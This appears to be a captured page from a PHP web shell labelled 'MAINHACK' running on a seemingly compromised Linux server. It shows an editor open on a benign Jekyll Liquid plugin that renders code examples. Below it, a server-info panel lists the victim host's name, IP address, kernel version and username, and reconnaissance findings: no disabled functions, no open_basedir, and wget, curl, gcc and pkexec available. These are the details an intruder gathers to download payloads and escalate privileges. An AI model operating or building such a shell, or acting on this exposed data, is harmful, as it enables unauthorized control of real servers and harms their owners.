[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: example.rb
module Jekyll module Tags class ExampleBlock < Liquid::Block include Liquid::StandardFilters # The regular expression syntax checker. Start with the language specifier. # Follow that by zero or more space separated options that take one of three # forms: name, name=value, or name="<quoted list>" # # <quoted list> is a space-separated list of numbers SYNTAX = /^([a-zA-Z0-9.+#-]+)((\s+\w+(=((\w|[0-9_-])+|"([0-9]+\s)*[0-9]+"))?)*)$/ def initialize(tag_name, markup, tokens) super if markup.strip =~ SYNTAX @lang = $1.downcase @options = {} if defined?($2) && $2 != '' # Split along 3 possible forms -- key="<quoted list>", key=value, or key $2.scan(/(?:\w+(?:=(?:(?:\w|[0-9_-])+|"[^"]*")?)?)/) do |opt| key, value = opt.split('=') # If a quoted list, convert to array if value && value.include?("\"") value.gsub!(/"/, "") value = value.split end @options[key.to_sym] = value || true end end @options[:linenos] = false else raise SyntaxError.new <<-eos Syntax Error in tag 'example' while parsing the following markup: #{markup} Valid syntax: example <lang> [id=foo] eos end end def render(context) prefix = context["highlighter_prefix"] || "" suffix = context["highlighter_suffix"] || "" code = super.to_s.strip output = case context.registers[:site].highlighter when 'rouge' render_rouge(code) end rendered_output = example(code) + add_code_tag(output) prefix + rendered_output + suffix end def example(output) "<div class=\"bd-example\"" + (@options[:id] ? " data-example-id=\"#{@options[:id]}\"" : "") + ">\n#{output}\n</div>" end def remove_holderjs(code) code = code.gsub(/data-src="holder.js.+?"/, 'src="..."') end def remove_example_classes(code) # Find `bd-` classes and remove them from the highlighted code. Because of how this regex works, it will also # remove classes that are after the `bd-` class. While this is a bug, I left it because it can be helpful too. # To fix the bug, replace `(?=")` with `(?=("|\ ))`. code = code.gsub(/(?!class=".)\ *?bd-.+?(?=")/, "") # Find empty class attributes after the previous regex and remove those too. code = code.gsub(/\ class=""/, "") end def render_rouge(code) require 'rouge' formatter = Rouge::Formatters::HTML.new(line_numbers: @options[:linenos], wrap: false) lexer = Rouge::Lexer.find_fancy(@lang, code) || Rouge::Lexers::PlainText code = remove_holderjs(code) code = remove_example_classes(code) code = formatter.format(lexer.lex(code)) "<div class=\"highlight\"><pre>#{code}</pre></div>" end def add_code_tag(code) # Add nested <code> tags to code blocks code = code.sub(/<pre>\n*/,'<pre><code class="language-' + @lang.to_s.gsub("+", "-") + '" data-lang="' + @lang.to_s + '">') code = code.sub(/\n*<\/pre>/,"</code></pre>") code.strip end end end end Liquid::Template.register_tag('example', Jekyll::Tags::ExampleBlock)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002